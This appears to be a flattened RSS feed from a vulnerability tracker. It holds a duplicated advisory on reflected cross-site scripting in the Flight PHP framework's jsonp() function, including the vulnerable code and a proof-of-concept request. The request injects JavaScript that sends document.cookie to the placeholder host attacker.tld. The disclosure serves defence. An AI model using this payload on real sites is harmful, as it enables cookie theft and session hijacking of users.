https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 04:53:41 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-318448 EUVD-2026-318448 https://cve.radiocsirt.org/vuln/euvd-2026-318448 https://cve.radiocsirt.org/vuln/fkie_cve-2026-42548 <p>Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.</p> <p>Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-42548 https://cve.radiocsirt.org/vuln/ghsa-fcx8-ph5r-mxr4 <p><strong>Affected:</strong> Packagist: flightphp/core</p> <p>### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.</p> <p>### Affected code `flight/Engine.php` (≈ lines 1000-1013):</p> <p>```php $callback = $this-&gt;request()-&gt;query[$param]; $this-&gt;response() -&gt;status($code) -&gt;header(&#39;Content-Type&#39;, &#39;application/javascript; charset=&#39; . $charset) -&gt;write($callback . &#39;(&#39; . $json . &#39;);&#39;); ```</p> <p>No regex or identifier validation is performed before the callback is written.</p> <p>### Proof of concept Given any route that calls `Flight::jsonp($data)`:</p> <p>``` GET /api?jsonp=;window.xss=function(d){fetch(&#39;https://attacker.tld/c=&#39;+d)};xss(document.cookie);// ```</p> <p>Reproduced response (`Content-Type: application/javascript`):</p> <p>``` ;window.xss=function(d){fetch(&#39;https://attacker.tld/c=&#39;+d)};xss(document.cookie);//({&#34;ok&#34;:true,&#34;msg&#34;:&#34;hello&#34;}); ```</p> <p>When the vulnerable endpoint is loaded via `&lt;script src=&#34;https://victim.tld/api?jsonp=…&#34;&gt;` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.</p> <p>### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin…</p> <p><strong>Affected:</strong> Packagist: flightphp/core</p> <p>### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.</p> <p>### Affected code `flight/Engine.php` (≈ lines 1000-1013):</p> <p>```php $callback = $this-&gt;request()-&gt;query[$param]; $this-&gt;response() -&gt;status($code) -&gt;header(&#39;Content-Type&#39;, &#39;application/javascript; charset=&#39; . $charset) -&gt;write($callback . &#39;(&#39; . $json . &#39;);&#39;); ```</p> <p>No regex or identifier validation is performed before the callback is written.</p> <p>### Proof of concept Given any route that calls `Flight::jsonp($data)`:</p> <p>``` GET /api?jsonp=;window.xss=function(d){fetch(&#39;https://attacker.tld/c=&#39;+d)};xss(document.cookie);// ```</p> <p>Reproduced response (`Content-Type: application/javascript`):</p> <p>``` ;window.xss=function(d){fetch(&#39;https://attacker.tld/c=&#39;+d)};xss(document.cookie);//({&#34;ok&#34;:true,&#34;msg&#34;:&#34;hello&#34;}); ```</p> <p>When the vulnerable endpoint is loaded via `&lt;script src=&#34;https://victim.tld/api?jsonp=…&#34;&gt;` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.</p> <p>### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin…</p> https://cve.radiocsirt.org/vuln/ghsa-fcx8-ph5r-mxr4